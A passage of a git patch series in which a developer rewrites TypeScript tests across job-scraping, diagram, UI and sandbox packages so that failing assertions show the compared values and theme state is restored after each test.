old fingerprint; they are released and // regrouped among themselves, the older one canonical. @@ -231,12 +231,12 @@ describe("a row whose fingerprint changes moves dedup group", () => { test("a row whose corrected company joins an existing group is deduped into it", () => { withDb((db) => { - ingestJobs(db, [acme("remoteok", "a"), acme("dice", "d", "Unknown")]); + ingestJobs(db, [listing("remoteok", "a"), listing("dice", "d", "Unknown")]); age(db, "remoteok", "a", "2026-01-01T00:00:00.000Z"); // `Unknown` fingerprints on identity, so these are not duplicates yet. expect(runDedup(db).duplicates_found).toBe(0); - ingestJobs(db, [acme("dice", "d")]); + ingestJobs(db, [listing("dice", "d")]); expect(runDedup(db).duplicates_found).toBe(1); expect(row(db, "dice", "d")).toMatchObject({ is_duplicate: 1, duplicate_of: row(db, "remoteok", "a").id }); }); @@ -247,14 +247,14 @@ describe("a row whose fingerprint changes moves dedup group", () => { // Every existing duplicate must end up pointing at it — not at the old // canonical, which is now a duplicate itself. withDb((db) => { - ingestJobs(db, [acme("dice", "d", "Unknown"), acme("remoteok", "a"), acme("weworkremotely", "b")]); + ingestJobs(db, [listing("dice", "d", "Unknown"), listing("remoteok", "a"), listing("weworkremotely", "b")]); age(db, "dice", "d", "2025-12-01T00:00:00.000Z"); age(db, "remoteok", "a", "2026-01-01T00:00:00.000Z"); age(db, "weworkremotely", "b", "2026-01-02T00:00:00.000Z"); runDedup(db); expect(row(db, "weworkremotely", "b").duplicate_of).toBe(row(db, "remoteok", "a").id); - ingestJobs(db, [acme("dice", "d")]); + ingestJobs(db, [listing("dice", "d")]); runDedup(db); const d = row(db, "dice", "d"); @@ -278,14 +278,14 @@ describe("a row whose fingerprint changes moves dedup group", () => { // that later joins their fingerprint must not bring them back into the // review queue. withDb((db) => { - ingestJobs(db, [acme("remoteok", "a"), acme("weworkremotely", "b"), acme("dice", "d", "Unknown")]); + ingestJobs(db, [listing("remoteok", "a"), listing("weworkremotely", "b"), listing("dice", "d", "Unknown")]); age(db, "remoteok", "a", "2026-01-01T00:00:00.000Z"); age(db, "weworkremotely", "b", "2026-01-02T00:00:00.000Z"); runDedup(db); deleteJob(db, row(db, "remoteok", "a").id); expect(row(db, "weworkremotely", "b")).toMatchObject({ is_duplicate: 1, duplicate_of: null }); - ingestJobs(db, [acme("dice", "d")]); + ingestJobs(db, [listing("dice", "d")]); runDedup(db); expect(row(db, "weworkremotely", "b")).toMatchObject({ is_duplicate: 1, duplicate_of: null }); @@ -295,11 +295,11 @@ describe("a row whose fingerprint changes moves dedup group", () => { test("an unchanged re-scrape leaves dedup marks alone", () => { withDb((db) => { - ingestJobs(db, [acme("remoteok", "a"), acme("weworkremotely", "b")]); + ingestJobs(db, [listing("remoteok", "a"), listing("weworkremotely", "b")]); age(db, "remoteok", "a", "2026-01-01T00:00:00.000Z"); runDedup(db); - ingestJobs(db, [acme("remoteok", "a"), acme("weworkremotely", "b")]); + ingestJobs(db, [listing("remoteok", "a"), listing("weworkremotely", "b")]); expect(row(db, "weworkremotely", "b")).toMatchObject({ is_duplicate: 1, From a201410789ccf958d9eb7b85b2f27cd2bc6e8002 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:47:58 +0100 Subject: [PATCH 157/252] test(module-diagrams): show the audit issues when the invalid-fence check fails Test-Health: th-20261110203030-1866df#1 --- packages/module-diagrams/tests/export.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/module-diagrams/tests/export.test.ts b/packages/module-diagrams/tests/export.test.ts index cd213f0efc..a31d8c140d 100644 --- a/packages/module-diagrams/tests/export.test.ts +++ b/packages/module-diagrams/tests/export.test.ts @@ -39,7 +39,7 @@ test("absent and dormant diagrams modules report actual fences without loading a }finally{cleanup(root);} }); test("enabled hygiene reports invalid fresh specs and sees old documents beyond the list query cap",async()=>{ - const root=makeTempBrain({empty:true});try{configure(root);for(let i=0;i<105;i++)writeFileSync(join(root,`note-${i}.md`),markdown("A voyage note."));writeFileSync(join(root,"dispatch.md"),markdown(fence()));expect((await runCli(root,["index","--force"])).code).toBe(0);writeFileSync(join(root,"dispatch.md"),markdown('```diagram\nschema_version: 1\ntype: unknown\n```\n'));expect(categories((await runCli(root,["audit","--json"])).stdout).some((x:{category:string;path:string})=>x.category==="diagram-invalid"&&x.path==="dispatch.md")).toBe(true); + const root=makeTempBrain({empty:true});try{configure(root);for(let i=0;i<105;i++)writeFileSync(join(root,`note-${i}.md`),markdown("A voyage note."));writeFileSync(join(root,"dispatch.md"),markdown(fence()));expect((await runCli(root,["index","--force"])).code).toBe(0);writeFileSync(join(root,"dispatch.md"),markdown('```diagram\nschema_version: 1\ntype: unknown\n```\n'));expect(categories((await runCli(root,["audit","--json"])).stdout).map((x:{category:string;path:string})=>[x.category,x.path])).toContainEqual(["diagram-invalid","dispatch.md"]); }finally{cleanup(root);} }); test("flattening preserves literal source text and resolves opaque generated mix steps",()=>{ From ec8888e1554364b8672d67f6803bcf420355bb50 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:48:14 +0100 Subject: [PATCH 158/252] test(ui-react): renderer dispatch restores an absent theme and prints what it compares Test-Health: th-20261110195347-f9b8db#4 --- .../ui-react/tests/browser/renderer-dispatch.layout.tsx | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/packages/ui-react/tests/browser/renderer-dispatch.layout.tsx b/packages/ui-react/tests/browser/renderer-dispatch.layout.tsx index 7f95774c23..c145658b21 100644 --- a/packages/ui-react/tests/browser/renderer-dispatch.layout.tsx +++ b/packages/ui-react/tests/browser/renderer-dispatch.layout.tsx @@ -16,7 +16,7 @@ let importerStarts = 0; const originalTheme = document.documentElement.dataset.theme; beforeAll(async () => { styles=document.createElement("style");styles.textContent=await commands.formConsumerStyles();document.head.append(styles); }); afterAll(()=>{styles.remove();}); -afterEach(()=>{if(renderer)flushSync(()=>renderer.unmount());root?.dispose();host?.remove();defaultContentRendererRegistry.reset();document.documentElement.dataset.theme=originalTheme;}); +afterEach(()=>{if(renderer)flushSync(()=>renderer.unmount());root?.dispose();host?.remove();defaultContentRendererRegistry.reset();if(originalTheme===undefined)delete document.documentElement.dataset.theme;else document.documentElement.dataset.theme=originalTheme;}); function mount(content: string, theme: "light"|"dark"="light", file?: string) { document.documentElement.dataset.theme=theme; root=createBrainUiRoot({storage:null,request:async()=>Response.json({})});root.stores.ui.setState({theme}); @@ -37,7 +37,7 @@ test("pack chunk is requested only when its matching fence first appears", async // modulepreload that never invokes React's importer. An empty snapshot alone // races Chromium. Importer initiation is a separate, synchronous observation. const unmatchedRequests = await commands.requestLog({settle:true}); - expect(unmatchedRequests.some(url=>new URL(url).searchParams.has("request-log-boundary"))).toBe(true); + expect(unmatchedRequests.filter(url=>new URL(url).searchParams.has("request-log-boundary")), "the request-log boundary was observed").not.toEqual([]); expect(unmatchedRequests.filter(url=>url.includes("renderer-demo-chunk")), "unmatched content must not acquire the renderer chunk").toEqual([]); expect(importerStarts, "unmatched content must not initiate the renderer importer").toBe(0); expect((await commands.requestLog()).filter(url=>url.includes("renderer-demo-chunk"))).toEqual([]); @@ -79,7 +79,7 @@ test("declared missing fence and file pack show source with accessible unbundled mount("```absent\nThe missing fleet\n```"); expect(host.querySelector('[role="status"]')?.textContent).toBe("Renderer not bundled.");expect(host.textContent).toContain("The missing fleet"); root.stores.file.setState({currentPath:"fleet.absent",currentContent:{path:"fleet.absent",kind:"text",content:"The missing fleet",size:17,mtime:Date.parse("2026-07-12T00:00:00Z")},contentLoading:false,viewMode:"preview"});render("",true); - expect([...host.querySelectorAll('[role="status"]')].some(note=>note.textContent==="Renderer not bundled.")).toBe(true); + expect([...host.querySelectorAll('[role="status"]')].map(note=>note.textContent)).toContain("Renderer not bundled."); }); test("share surface passes print theme to a matched component",async()=>{ register();mount("");flushSync(()=>renderer.render()); From 86a1721ce6d41d0716975b5562c1c0c17b2ba925 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:49:15 +0100 Subject: [PATCH 159/252] test(compute-boat): pin the content-addressed staging archive and both delete confirmations Test-Health: th-20261110203123-ce2882#1 --- packages/compute-boat/tests/ambiguous-create.test.ts | 3 ++- packages/compute-boat/tests/cleanup.test.ts | 4 ++-- packages/compute-boat/tests/errors.test.ts | 5 +++-- 3 files changed, 7 insertions(+), 5 deletions(-) diff --git a/packages/compute-boat/tests/ambiguous-create.test.ts b/packages/compute-boat/tests/ambiguous-create.test.ts index 3023853011..7e14dc8bc7 100644 --- a/packages/compute-boat/tests/ambiguous-create.test.ts +++ b/packages/compute-boat/tests/ambiguous-create.test.ts @@ -63,7 +63,8 @@ describe("ambiguous create", () => { advance(25 * 60 * 60 * 1000); fake.forgetIdempotencyKeys(); const again = await provider.allocate({ key: "job-scheria-3", leaseSeconds: 600, retain: false }, contextFor(fake, { now })); - expect(first.kind === "ok" && again.kind === "ok" && again.sandbox.id === first.sandbox.id).toBe(true); + if (first.kind !== "ok") throw new Error(first.kind); + expect(again.kind === "ok" && again.sandbox.id).toBe(first.sandbox.id); expect([fake.created(), fake.routes().filter((r) => r === "create").length]).toEqual([1, 1]); }); diff --git a/packages/compute-boat/tests/cleanup.test.ts b/packages/compute-boat/tests/cleanup.test.ts index 8e9e61dc8c..8ac98765dc 100644 --- a/packages/compute-boat/tests/cleanup.test.ts +++ b/packages/compute-boat/tests/cleanup.test.ts @@ -63,7 +63,7 @@ describe("cleanup failures", () => { const { fake, provider, now, sandbox } = await allocated(); expect((await provider.release(sandbox, "discard", contextFor(fake, { now }))).kind).toBe("released"); expect((await provider.release(sandbox, "discard", contextFor(fake, { now }))).kind).toBe("released"); - const deletes = fake.requests.filter((r) => r.route === "delete"); - expect(deletes.every((r) => r.headers["x-ascii-confirm-delete"] === sandbox.id)).toBe(true); + const confirmations = fake.requests.filter((r) => r.route === "delete").map((r) => r.headers["x-ascii-confirm-delete"]); + expect(confirmations).toEqual([sandbox.id, sandbox.id]); }); }); diff --git a/packages/compute-boat/tests/errors.test.ts b/packages/compute-boat/tests/errors.test.ts index 3f8a24286e..82520027fe 100644 --- a/packages/compute-boat/tests/errors.test.ts +++ b/packages/compute-boat/tests/errors.test.ts @@ -178,11 +178,12 @@ describe("command and file errors", () => { await provider.stage!(sandbox, { files: [{ path: "notes/voyage.md", sha256: sha, bytes: data.byteLength, read: async () => data }], hash: sha }, contextFor(fake, { now })); const command = String(JSON.parse(fake.requests.filter((r) => r.route === "exec").at(-1)!.body).command); const tar = /tar -xf '([^']+)'/.exec(command)?.[1]; - expect(tar).toBeDefined(); + // Named by the bundle hash, so a run still in flight and its repeat read the same archive. + expect(tar).toBe(`/tmp/brain-kit/${sha}.tar`); expect(command).not.toContain(`rm -f '${tar}'`); expect(command).toContain("mktemp -d"); expect(command).not.toMatch(/-C work\b/); - expect(fake.sandboxes.get(sandbox.id)!.files.has(tar!)).toBe(true); + expect([...fake.sandboxes.get(sandbox.id)!.files.keys()]).toContain(tar!); }); test("a lost process Boat's probe still finds running is running, never exited; one it finds ended is a provider error", async () => { From f563874555e4d1a991cc2683b5a06df291b2880d Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:50:48 +0100 Subject: [PATCH 160/252] test(compute-boat): the secrets case requires both artifacts collected before checking them Test-Health: th-20261110203123-ce2882#2 --- packages/compute-boat/tests/secrets.test.ts | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/packages/compute-boat/tests/secrets.test.ts b/packages/compute-boat/tests/secrets.test.ts index e26ba964d1..9174e7b4e8 100644 --- a/packages/compute-boat/tests/secrets.test.ts +++ b/packages/compute-boat/tests/secrets.test.ts @@ -67,11 +67,11 @@ describe("the key and signed URLs stay out of everything but the API header", () expect(others).toEqual([]); } if (collected.kind !== "ok") throw new Error(collected.kind); + expect(collected.artifacts.map((artifact) => artifact.status)).toEqual(["collected", "collected"]); for (const artifact of collected.artifacts) { - expect(artifact.status === "collected" && new TextDecoder().decode(artifact.data).includes(KEY)).toBe(false); + if (artifact.status === "collected") expect(new TextDecoder().decode(artifact.data)).not.toContain(KEY); } - const printed = started.kind === "ok" ? JSON.stringify(seen[3]) : ""; - expect(printed.includes("VOYAGE=ithaca")).toBe(true); + expect(JSON.stringify(seen[3])).toContain("VOYAGE=ithaca"); }); test("the fake refuses a signed-URL request that carries an Authorization header, as a stray key must never reach one", async () => { From 6e630a920e2a5544d0b15f4294f8187924137d56 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:52:26 +0100 Subject: [PATCH 161/252] test(ui-react): scope caps assert the answered-elsewhere announcement; tool permission restores an absent theme Test-Health: th-20261110195347-f9b8db#5 --- packages/ui-react/tests/browser/scope-caps.layout.tsx | 9 ++++++--- .../ui-react/tests/browser/tool-permission.layout.tsx | 2 +- 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/packages/ui-react/tests/browser/scope-caps.layout.tsx b/packages/ui-react/tests/browser/scope-caps.layout.tsx index 85731f5378..ddb99de566 100644 --- a/packages/ui-react/tests/browser/scope-caps.layout.tsx +++ b/packages/ui-react/tests/browser/scope-caps.layout.tsx @@ -87,8 +87,10 @@ test("a stale Continue loses its retry and announces exhausted eligibility witho expect(f.socket.decisions().at(-1)).toMatchObject({ action: "stop" }); expect(f.socket.decisions().at(-1).submissionId).not.toBe(sent.submissionId); }); -for (const width of [320, 1280]) for (const theme of ["dark", "light"] as const) test(`scope card numbers, finite Continue, input and native receipt focus: ${width} ${theme}`, async () => { - const f = await mount(width, theme); const announcements: string[] = []; +// One theme per width: nothing here reads a theme-specific class or captures +// a per-theme image, and Storybook owns light/dark parity. +for (const width of [320, 1280]) test(`scope card numbers, finite Continue, input and native receipt focus: ${width}`, async () => { + const f = await mount(width); const announcements: string[] = []; const observer = new MutationObserver(() => { const text = host.querySelector('[data-scope-event] [role="status"]')?.textContent; if (text && announcements.at(-1) !== text) announcements.push(text); }); observer.observe(host, { subtree: true, childList: true, characterData: true }); f.field.focus(); f.frame(cap()); await expect.poll(() => option("Continue")).not.toBeUndefined(); expect(document.activeElement, "SCOPE_BROWSER_ARRIVAL_NO_FOCUS_THEFT").toBe(f.field); @@ -122,7 +124,8 @@ test("scope disconnected, manual readback/failure, answered elsewhere and sessio flushSync(() => ui.stores.chat.getState().setActiveSession("ogygia")); option("Continue").click(); expect(f.socket.decisions()).toHaveLength(2); expect(host.textContent).toContain("Open this chat to answer its limit"); f.frame(cap({ state: "continued", submissionId: "another-device" })); expect(document.activeElement?.getAttribute("data-scope-receipt"), "SCOPE_OTHER_SESSION_RECEIPT_NEVER_TAKES_FOCUS").not.toBe("athena-cap"); - f.socket.receive({ ...sent, type: "scope_decision_receipt", state: "answered_elsewhere" }); expect(host.querySelector('[role="status"]')?.textContent).toBeDefined(); + f.socket.receive({ ...sent, type: "scope_decision_receipt", state: "answered_elsewhere" }); + await expect.poll(() => host.querySelector('[data-scope-event] [role="status"]')?.textContent, { message: "SCOPE_ANSWERED_ELSEWHERE_ANNOUNCED" }).toBe("This scope limit was answered from another device."); }); for (const stopOnly of ["floor", "second-hit"] as const) test(`${stopOnly}: Stop-only card ends at its receipt; Escape never stops`, async () => { const f = await mount(); const receipt = cap({ newCap: undefined, ...(stopOnly === "floor" ? { dimension: "free_space_floor", cap: 2147483648, count: 2000000000, overshoot: 147483648 } : { cap: 1000, count: 1001, overshoot: 1 }) }); diff --git a/packages/ui-react/tests/browser/tool-permission.layout.tsx b/packages/ui-react/tests/browser/tool-permission.layout.tsx index a387dc25f3..750b2878bd 100644 --- a/packages/ui-react/tests/browser/tool-permission.layout.tsx +++ b/packages/ui-react/tests/browser/tool-permission.layout.tsx @@ -16,7 +16,7 @@ beforeEach(() => { viewport = { width: innerWidth, height: innerHeight }; themeB beforeAll(async () => { styles = document.createElement("style"); styles.textContent = await commands.formConsumerStyles(); document.head.append(styles); }); afterAll(() => styles.remove()); afterEach(async () => { if (renderer) flushSync(() => renderer!.unmount()); root?.dispose(); host?.remove(); renderer = undefined; root = undefined; host = undefined; - document.documentElement.dataset.theme = themeBefore; await page.viewport(viewport.width, viewport.height); + if (themeBefore === undefined) delete document.documentElement.dataset.theme; else document.documentElement.dataset.theme = themeBefore; await page.viewport(viewport.width, viewport.height); if (outer) await commands.formViewport(outer.width - 100, outer.height - 120); }); const target="/tmp/ithaca/"+"Scylla".repeat(30)+"/crossing.md"; From ccdd176fe83bfe1a83b16a8460c72df5358e108f Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:53:06 +0100 Subject: [PATCH 162/252] test(module-diagrams): refuse even off-grid positions, not only odd ones The free-layout and authored-narrow grid checks were tested only with odd coordinates, so a check weakened to mod 2 passed both tests. Test-Health: th-20261110203030-1866df#2 --- packages/module-diagrams/tests/skin.test.ts | 1 + packages/module-diagrams/tests/spec.test.ts | 2 ++ 2 files changed, 3 insertions(+) diff --git a/packages/module-diagrams/tests/skin.test.ts b/packages/module-diagrams/tests/skin.test.ts index e6e9e16ea2..d4d75b068e 100644 --- a/packages/module-diagrams/tests/skin.test.ts +++ b/packages/module-diagrams/tests/skin.test.ts @@ -61,6 +61,7 @@ test("narrow layout refuses missing, duplicate, extra, out-of-bounds, non-grid, (s: ReturnType) => s.layouts.narrow.nodes[0]!.id = "extra", (s: ReturnType) => s.layouts.narrow.nodes[0]!.at[0] = 312, (s: ReturnType) => s.layouts.narrow.nodes[0]!.at[0] = 41, + (s: ReturnType) => s.layouts.narrow.nodes[0]!.at[0] = 42, (s: ReturnType) => s.layouts.narrow.nodes[1]!.at = [40, 40], (s: ReturnType) => s.layouts.narrow.nodes[0]!.size[0] = 16, ]; diff --git a/packages/module-diagrams/tests/spec.test.ts b/packages/module-diagrams/tests/spec.test.ts index 96e4873cae..4bc031ebb9 100644 --- a/packages/module-diagrams/tests/spec.test.ts +++ b/packages/module-diagrams/tests/spec.test.ts @@ -35,6 +35,8 @@ test("free boxes require a 4px grid and may touch but cannot overlap", () => { expect(check(spec).valid).toBe(true); spec.nodes[1].at = [184, 120]; expect(check(spec).errors).toContainEqual({ path: "$.nodes[1].at", code: "overlap", message: "Node 'ithaca' overlaps 'raft'" }); + spec.nodes[1].at = [190, 120]; + expect(check(spec).errors, "EVEN_OFF_GRID_REFUSED").toContainEqual({ path: "$.nodes[1].at[0]", code: "grid", message: "Structural geometry must align to the 4px grid" }); spec.nodes[1].at = [189, 120]; expect(check(spec).errors).toContainEqual({ path: "$.nodes[1].at[0]", code: "grid", message: "Structural geometry must align to the 4px grid" }); spec.nodes[1].size = [149, 64]; From 20b0b2bcd9dc2f040c5be664aaee2cdad0474633 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:56:23 +0100 Subject: [PATCH 163/252] test(ui-react): search and supporting-file checks without a capture run once per theme Test-Health: th-20261110195347-f9b8db#6 --- .../tests/browser/search-results.layout.tsx | 12 ++++++++---- .../tests/browser/supporting-files.layout.tsx | 14 +++++++++----- 2 files changed, 17 insertions(+), 9 deletions(-) diff --git a/packages/ui-react/tests/browser/search-results.layout.tsx b/packages/ui-react/tests/browser/search-results.layout.tsx index 631e5c8295..c20eab4b7d 100644 --- a/packages/ui-react/tests/browser/search-results.layout.tsx +++ b/packages/ui-react/tests/browser/search-results.layout.tsx @@ -15,7 +15,7 @@ beforeAll(async () => { }); afterAll(() => style.remove()); afterEach(async () => { if (renderer) flushSync(() => renderer!.unmount()); ui?.dispose(); host?.remove(); renderer = undefined; ui = undefined; host = undefined; - document.documentElement.dataset.theme = previousTheme; + if (previousTheme === undefined) delete document.documentElement.dataset.theme; else document.documentElement.dataset.theme = previousTheme; await page.viewport(viewport.width, viewport.height); if (outer) await commands.formViewport(outer.width - 100, outer.height - 120); }); @@ -49,8 +49,12 @@ for (const width of [320, 1280]) for (const theme of ["dark", "light"]) { await userEvent.keyboard("{Enter}"); expect(opened).toEqual(["people/penelope.md"]); }); - test(`${theme} ${width}: both registered backend outputs render readable cards`, async () => { - outer = await commands.formViewport(width, 800); await page.viewport(width, 800); document.documentElement.dataset.theme = theme; +} +// One theme per width: the backend cards are counted and measured, never +// captured or read for colour, and Storybook owns light/dark parity. +for (const width of [320, 1280]) { + test(`${width}: both registered backend outputs render readable cards`, async () => { + outer = await commands.formViewport(width, 800); await page.viewport(width, 800); ui = createBrainUiRoot({ storage: null }); registerBuiltinRenderers(ui.renderers); host = document.createElement("div"); host.style.width = `${Math.min(width, 720)}px`; document.body.append(host); renderer = createRoot(host); const claude = { id: "claude", name: "mcp__brain__brain_search", input: {}, output: JSON.stringify({ results: [hit], warnings: [] }) }; @@ -58,7 +62,7 @@ for (const width of [320, 1280]) for (const theme of ["dark", "light"]) { const ClaudeOutput = ui.renderers.resolve(claude, "claude")!.Output!; const PiOutput = ui.renderers.resolve(pi, "pi")!.Output!; flushSync(() => renderer!.render()); - expect(host.querySelectorAll("[data-search-result-card]").length).toBe(2); + expect(host.querySelectorAll("[data-search-result-card]").length, "SEARCH_BOTH_BACKENDS_DRAW_CARDS").toBe(2); expect(host.querySelectorAll("mark").length).toBe(4); expect(host.scrollWidth).toBeLessThanOrEqual(host.clientWidth + 1); }); diff --git a/packages/ui-react/tests/browser/supporting-files.layout.tsx b/packages/ui-react/tests/browser/supporting-files.layout.tsx index 4001a10f98..ccea8d1b3c 100644 --- a/packages/ui-react/tests/browser/supporting-files.layout.tsx +++ b/packages/ui-react/tests/browser/supporting-files.layout.tsx @@ -14,7 +14,7 @@ beforeEach(() => { viewport = { width: innerWidth, height: innerHeight }; themeB beforeAll(async () => { styles = document.createElement("style"); styles.textContent = await commands.formConsumerStyles(); document.head.append(styles); }); afterAll(() => styles.remove()); afterEach(async () => { if (renderer) flushSync(() => renderer!.unmount()); root?.dispose(); host?.remove(); renderer = undefined; root = undefined; host = undefined; - document.documentElement.dataset.theme = themeBefore; await page.viewport(viewport.width, viewport.height); + if (themeBefore === undefined) delete document.documentElement.dataset.theme; else document.documentElement.dataset.theme = themeBefore; await page.viewport(viewport.width, viewport.height); if (outer) await commands.formViewport(outer.width - 100, outer.height - 120); }); const block: Block = { kind: "files", items: [ @@ -44,15 +44,19 @@ for (const width of [320, 1280]) for (const theme of ["dark", "light"]) { rows[1]!.focus(); await userEvent.keyboard("{Enter}"); await expect.poll(() => root!.stores.file.getState().currentContent?.path).toBe("people/circe.md"); expect(requested).toHaveLength(2); - expect(requested.every(url => new URL(url).origin === "https://alpha.example" && new URL(url).searchParams.get("path") === "people/circe.md")).toBe(true); + expect(requested.map(url => [new URL(url).origin, new URL(url).searchParams.get("path")])).toEqual([["https://alpha.example", "people/circe.md"], ["https://alpha.example", "people/circe.md"]]); await page.screenshot({ path: `../../.vitest-attachments/supporting-files/${theme}-${width}.png` }); }); - test(`${theme} ${width}: actual export HTML retains reasons as a static list`, async () => { - outer = await commands.formViewport(width, 800); await page.viewport(width, 800); document.documentElement.dataset.theme = theme; +} +// One theme per width: the export is static HTML that is measured, never +// captured or read for colour, and Storybook owns light/dark parity. +for (const width of [320, 1280]) { + test(`${width}: actual export HTML retains reasons as a static list`, async () => { + outer = await commands.formViewport(width, 800); await page.viewport(width, 800); host = document.createElement("div"); host.style.cssText = `width:${Math.min(width, 720)}px;overflow-wrap:normal`; document.body.append(host); host.innerHTML = await renderBlockHtml(block); expect(host.textContent).toContain("Scylla".repeat(30)); expect(host.textContent).toContain("knowledge/scylla.md"); - expect(host.querySelectorAll('[role="button"],button,a')).toHaveLength(0); + expect(host.querySelectorAll('[role="button"],button,a'), "SUPPORTING_EXPORT_STATIC_LIST").toHaveLength(0); expect(host.scrollWidth, "static reasons fit the exported measure").toBeLessThanOrEqual(host.clientWidth + 1); }); } From 8cb39093e695a612bb5fbd952a21045f693c6cc9 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:59:20 +0100 Subject: [PATCH 164/252] test(module-jobs): readable settings and default-board failures, Odysseus scoring fixture Test-Health: th-20261110201428-8c4366#2 --- packages/module-jobs/tests/default-boards.test.ts | 4 ++-- packages/module-jobs/tests/jobs-score.test.ts | 2 +- packages/module-jobs/tests/settings.test.ts | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/packages/module-jobs/tests/default-boards.test.ts b/packages/module-jobs/tests/default-boards.test.ts index 751c159080..ee27843804 100644 --- a/packages/module-jobs/tests/default-boards.test.ts +++ b/packages/module-jobs/tests/default-boards.test.ts @@ -38,7 +38,7 @@ test("direct runScrape without sources executes the same curated boards as the C expect(cli.sources.map((entry: { source: string }) => entry.source)).toEqual(curated); for (const report of [direct, cli]) { expect(report.sources).toHaveLength(4); - expect(report.sources.every((entry: { status: string }) => entry.status === "empty")).toBe(true); + expect(report.sources.map((entry: { status: string }) => entry.status)).toEqual(curated.map(() => "empty")); expect(report.total_errors).toEqual([]); } }); @@ -75,7 +75,7 @@ test("fixture declarations contribute choices and on/off defaults without editin for (const direct of [false, true]) { const report = await scrape(root, source, direct); expect(report.sources.map((entry: { source: string }) => entry.source)).toEqual(["fixture-on", ...curated]); - expect(report.sources.every((entry: { status: string }) => entry.status === "empty")).toBe(true); + expect(report.sources.map((entry: { status: string }) => entry.status)).toEqual(["fixture-on", ...curated].map(() => "empty")); expect(report.total_errors).toEqual([]); } }); diff --git a/packages/module-jobs/tests/jobs-score.test.ts b/packages/module-jobs/tests/jobs-score.test.ts index 9e28350dea..56d3c5beb3 100644 --- a/packages/module-jobs/tests/jobs-score.test.ts +++ b/packages/module-jobs/tests/jobs-score.test.ts @@ -10,7 +10,7 @@ beforeAll(() => { function makeJob(overrides: Partial = {}): ScoreJobInput { return { title: "Software Engineer", - company: "Acme Corp", + company: "Ithaca Fleet", description_text: null, location: null, tags: null, diff --git a/packages/module-jobs/tests/settings.test.ts b/packages/module-jobs/tests/settings.test.ts index 083bbc3b43..ccc265c082 100644 --- a/packages/module-jobs/tests/settings.test.ts +++ b/packages/module-jobs/tests/settings.test.ts @@ -143,7 +143,7 @@ test("board choices follow adapter registry additions and expose documented bloc expect(getAdapterOptions().find((o) => o.source === "remotive")).toMatchObject({ status: "blocked", caveat: expect.stringContaining("permission") }); const registry = ADAPTERS as Record; registry.fixture = ADAPTERS.remoteok; - try { expect(jobsSettings().fields.find((f) => f.key === "boards")!.options!.some((o) => o.value === "fixture")).toBe(true); } + try { expect(jobsSettings().fields.find((f) => f.key === "boards")!.options!.map((o) => o.value)).toContain("fixture"); } finally { delete registry.fixture; } }); @@ -160,7 +160,7 @@ test.each([ expect(loadScoringConfig(root, "career/criteria.md")).toEqual(parseScoringConfig(original.data.scoring)); const plan = planScoringMigration(root, { criteria: "career/criteria.md" }); const after = plan.changes[0]!.after; - expect(after.startsWith(opening)).toBe(true); + expect(after).toStartWith(opening); expect(after).toContain("Keep spelling"); expect(parseFrontmatter(after).data).toEqual({ other: "Keep spelling" }); expect(parseFrontmatter(after).content).toBe(original.content); From 7b10f170ecc3af5d82533157d0d1427929ce5973 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:00:13 +0100 Subject: [PATCH 165/252] test(module-jobs): require a declared count in trimmed JSON-LD fixtures Test-Health: th-20261110201428-8c4366#3 --- packages/module-jobs/tests/fixture-records.test.ts | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/packages/module-jobs/tests/fixture-records.test.ts b/packages/module-jobs/tests/fixture-records.test.ts index eb00eab594..1095b07327 100644 --- a/packages/module-jobs/tests/fixture-records.test.ts +++ b/packages/module-jobs/tests/fixture-records.test.ts @@ -168,11 +168,11 @@ describe("trimmed JSON-LD fixtures", () => { }; walk(JSON.parse(json)); - expect(lists.length).toBeGreaterThan(0); - for (const list of lists) { - if (list.numberOfItems === undefined) continue; - expect(list.numberOfItems).toBe(list.itemListElement.length); - } + // A list that declares no count passes the comparison vacuously, so the + // fixture must carry at least one list that does. + const declared = lists.filter((list) => list.numberOfItems !== undefined); + expect(declared.length).toBeGreaterThan(0); + for (const list of declared) expect(list.numberOfItems).toBe(list.itemListElement.length); }); } }); From 4250f38b28888f0c61ed74a68d8b40eda4017e23 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:00:40 +0100 Subject: [PATCH 166/252] test(module-jobs): list the offending shared-runner items Test-Health: th-20261110201428-8c4366#4 --- packages/module-jobs/tests/shared-adapter.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/module-jobs/tests/shared-adapter.test.ts b/packages/module-jobs/tests/shared-adapter.test.ts index 63b5ffffbd..2e3ebdc957 100644 --- a/packages/module-jobs/tests/shared-adapter.test.ts +++ b/packages/module-jobs/tests/shared-adapter.test.ts @@ -68,7 +68,7 @@ describe("real job boards through the shared runner", () => { }); expect(outcomes[0].status).toBe("ok"); expect(outcomes[0].items.length).toBeGreaterThan(0); - expect(outcomes[0].items.every((item) => item.source === source && item.title.length > 0)).toBe(true); + expect(outcomes[0].items.filter((item) => item.source !== source || item.title.length === 0)).toEqual([]); expect(outcomes[0].id).toBe(source); expect(adapter.needsBrowser ? chrome.requests.length : http.requests.length).toBeGreaterThan(0); expect(chrome.closed()).toBe(0); // Caller-owned transports stay open. From 4e11abfb649e6590594afcb419521798567b1845 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:01:24 +0100 Subject: [PATCH 167/252] test(module-jobs): print the pipeline index frontmatter on failure Test-Health: th-20261110201428-8c4366#5 --- packages/module-jobs/tests/pipeline.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git 